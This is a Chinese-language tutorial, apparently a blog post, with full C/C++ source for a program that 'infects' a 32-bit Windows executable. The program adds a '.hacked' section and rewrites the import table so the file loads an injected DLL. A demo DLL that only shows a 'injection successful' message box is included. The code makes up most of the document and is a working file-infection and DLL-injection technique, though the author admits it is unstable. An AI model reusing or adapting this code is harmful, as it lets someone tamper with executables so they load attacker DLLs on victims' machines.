运行结果图,在一个hello world程序运行之前,代码实现让其加载我们的一个DLL文件。
修改前后文件结构对比
修改PE文件干预输入表的代码如下:
#include<stdio.h>
#include<windows.h>
void infecting(char *);//修改导入表
LPVOID rva2raw(PIMAGE_SECTION_HEADER,DWORD,WORD);//RVA转RAW
char dllname[]="mydll.dll";//要加入的DLL名称
char path[MAX_PATH] = "c:\\Users\\Admin\\Desktop\\hello.exe";//要修改的文件名称
void main()
{
infecting(path);
}
void infecting(char * path)
{
HANDLE hFile;
HANDLE hFileMap;
LPVOID mapView;
hFile = CreateFileA(path,GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);//打开文件句柄
if(hFile == INVALID_HANDLE_VALUE)
return;
hFileMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,0x1000,NULL);//创建文件映射对象
if(hFileMap == NULL)
return;
mapView = (PCHAR)MapViewOfFile(hFileMap,FILE_MAP_ALL_ACCESS,NULL, NULL, NULL);//将文件映射到该进程
if(mapView == NULL)
return;
PIMAGE_DOS_HEADER pDos = PIMAGE_DOS_HEADER(mapView);//指向dos头
PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pDos->e_lfanew+(DWORD)pDos);//指向NT头
PIMAGE_FILE_HEADER pFile = PIMAGE_FILE_HEADER((BYTE *)pNt+4);//指向FILE头
PIMAGE_OPTIONAL_HEADER pOpt = PIMAGE_OPTIONAL_HEADER(&pNt->OptionalHeader);//指向OPTIONAL头
PIMAGE_SECTION_HEADER pSect = IMAGE_FIRST_SECTION(pNt);//指向section头
//判断是否PE文件
if(pDos->e_magic == 0x5A4D&&pNt->Signature == 0x4550)
{
//判断是否32为PE
if(pOpt->Magic == 0x010B)
{
//判断是否有签名
if(!pOpt->DataDirectory[4].VirtualAddress||!pOpt->DataDirectory[4].Size)
{
//零填充绑定输入
if( pOpt->DataDirectory[11].VirtualAddress)//判断绑定输入是否为空
{
pOpt->DataDirectory[11].VirtualAddress = 0;
pOpt->DataDirectory[11].Size =0;
//0填充
}
//区块名,判断是否被感染
if(strcmp((PCHAR)((pSect+pFile->NumberOfSections-1)->Name),".hacked"))
{
//添加节区
PIMAGE_SECTION_HEADER pSectHack = &pSect[pFile->NumberOfSections];
memcpy(pSectHack->Name,".hacked",8);
//计算VA
DWORD vasize;
if(((pSect+pFile->NumberOfSections-1)->Misc.VirtualSize)%(pOpt->SectionAlignment))
vasize = ((pSect+pFile->NumberOfSections-1)->Misc.VirtualSize)/(pOpt->SectionAlignment)+1;
else
vasize = ((pSect+pFile->NumberOfSections-1)->Misc.VirtualSize)/(pOpt->SectionAlignment);
pSectHack->Misc.VirtualSize = vasize*(pOpt->SectionAlignment);//新节块的Virtualsize
pSectHack->VirtualAddress = (pSect+pFile->NumberOfSections-1)->VirtualAddress+vasize*(pOpt->SectionAlignment);
//计算新的rawsize
DWORD rawsize;
if((pOpt->DataDirectory[1].Size+0x14)%(pOpt->FileAlignment))
rawsize = (pOpt->DataDirectory[1].Size+0x14)/(pOpt->FileAlignment)+1;
else
rawsize = (pOpt->DataDirectory[1].Size+0x14)/(pOpt->FileAlignment);//因为要加新的IID,所以加14
pSectHack->SizeOfRawData = rawsize*(pOpt->FileAlignment);//新节块的rawsize
pSectHack->PointerToRawData = (pSect+pFile->NumberOfSections-1)->PointerToRawData+(pSect+pFile->NumberOfSections-1)->SizeOfRawData;//计算区块偏移
pSectHack->Characteristics = 0xC0000040;//可写对齐
pSectHack->NumberOfRelocations = 0;//无需重定向
pSectHack->NumberOfLinenumbers = 0;
pSectHack->PointerToLinenumbers = 0;
pSectHack->PointerToRelocations = 0;
//干预输入表,备份输入表到新的节区,加入新IID
LPCVOID buf = new BYTE[pSectHack->SizeOfRawData];//申请内存存放新IID结构
PDWORD resize = new DWORD[1];//存储实际读入字节
memset((PVOID)buf,0,pSectHack->SizeOfRawData);//内存初始化为0
LONG IIDraw = (LONG)rva2raw(pSect,pOpt->DataDirectory[1].VirtualAddress,pFile->NumberOfSections);//原始IID的raw
SetFilePointer(hFile,IIDraw,NULL,FILE_BEGIN);//文件指针指向IID数组
ReadFile(hFile,(PVOID)buf,pOpt->DataDirectory[1].Size,resize,NULL);//将原始IID读入到申请的内存
PIMAGE_IMPORT_DESCRIPTOR myIID = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)buf+pOpt->DataDirectory[1].Size-0x14);//将原IID数组最后一项空IID声明为IID结构
myIID->ForwarderChain=0;//无需转向
myIID->TimeDateStamp=0;//忽略时间戳
//找地址,写入新IID的各项内容,在这里我顺手反用了原始IID数组的地址
PVOID oldiid = new BYTE*[pOpt->DataDirectory[1].Size];//清空原始IID数组
memset(oldiid,0,pOpt->DataDirectory[1].Size);
SetFilePointer(hFile,IIDraw,NULL,FILE_BEGIN);
WriteFile(hFile,oldiid,pOpt->DataDirectory[1].Size,resize,NULL);
//将原始IID数组改为新IID所需要的内容
myIID->OriginalFirstThunk=pOpt->DataDirectory[1].VirtualAddress;//INT,指向原始IID数组位置
LPVOID originalraw =rva2raw(pSect,pOpt->DataDirectory[1].VirtualAddress,pFile->NumberOfSections);//rva转raw,修改实际文件内容
SetFilePointer(hFile,(LONG)originalraw,NULL,FILE_BEGIN);//文件指针指向新IID的originalFirstThunk
DWORD iat =(pOpt->DataDirectory[1].VirtualAddress+0x20);//找地址存放IAT/INT
WriteFile(hFile,&iat,sizeof(DWORD),resize,NULL);//将新区块指向INT的RVA地址写入,既写入original的内容
//找地址,写入新IID的FirstTrunk
myIID->FirstThunk=pOpt->DataDirectory[1].VirtualAddress+8;//,同样在原来IID数组找个位置填充IAT
SetFilePointer(hFile,(LONG)originalraw+8,NULL,FILE_BEGIN);//文件指针指向新IID的FirstThunk
WriteFile(hFile,&iat,sizeof(DWORD),resize,NULL);//将新区块指向INT的RVA地址写入,既写入Firsttrunk的内容
//找地址,写入新IID的name的ascii
myIID->Name=pOpt->DataDirectory[1].VirtualAddress+0x10;//RVA,同样在原来IID数组找个位置填充name
SetFilePointer(hFile,(LONG)originalraw+0x10,NULL,FILE_BEGIN);//文件指针指向新IID的name
WriteFile(hFile,dllname,sizeof(dllname),resize,NULL);//将字符串name写入
//构建好IID结构内容与INA/IAT
PVOID nop = new BYTE[2];//Hint,0填充
memset(nop,0,sizeof(BYTE)*2);
char funname[]="msg";
SetFilePointer(hFile,(LONG)originalraw+0x20,NULL,FILE_BEGIN);//文件指针指向新IID的INT/IAT
WriteFile(hFile,nop,sizeof(BYTE)*2,resize,NULL);
WriteFile(hFile,funname,sizeof(funname),resize,NULL);//将IMAGE_IMPORT_BY_NAME写入
//写入新区块
SetFilePointer(hFile,pSectHack->PointerToRawData,NULL,FILE_BEGIN);//文件指针指向新区块开头
WriteFile(hFile,buf,pSectHack->SizeOfRawData,resize,NULL);//将新区块内容写入文件
pFile->NumberOfSections++;//节区数目加1
pOpt->SizeOfImage += vasize*(pOpt->SectionAlignment);//修正Image大小
//修改原始输入表信息
pOpt->DataDirectory[1].Size += 0x14;
pOpt->DataDirectory[1].VirtualAddress = pSectHack->VirtualAddress;
}
}
}
}
UnmapViewOfFile(mapView);
CloseHandle(hFileMap);
CloseHandle(hFile);
}
LPVOID rva2raw(PIMAGE_SECTION_HEADER pSect,DWORD rva,WORD num)
{
LPVOID offset=NULL;
for(WORD i = 0;i<num;i++)
{
if(rva < (pSect->VirtualAddress+pSect->SizeOfRawData)&&rva > pSect->VirtualAddress)//遍历区块
{
offset =(LPVOID) (rva-( (pSect->VirtualAddress)-(pSect->PointerToRawData) ));//计算文件偏移
return offset;
}
pSect++;
}
return offset;
}
一个简单的弹窗dll的实现代码如下:
#include<stdio.h>
#include<windows.h>
BOOL WINAPI DllMain(HANDLE hmoudle,DWORD call,LPVOID lpreser)
{
switch(call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,L"success!!!",L"注入成功",MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return true;
}
extern "C"_declspec(dllexport)void msg()
{
MessageBox(NULL,L"success!!!",L"注入成功",MB_OK);
}
总结:在实际运行中,一部分程序无法修改或修改后无法正常运行,加载dll不稳定因素太多,如果有哪位大牛了解原因或BUG,还请告知一二。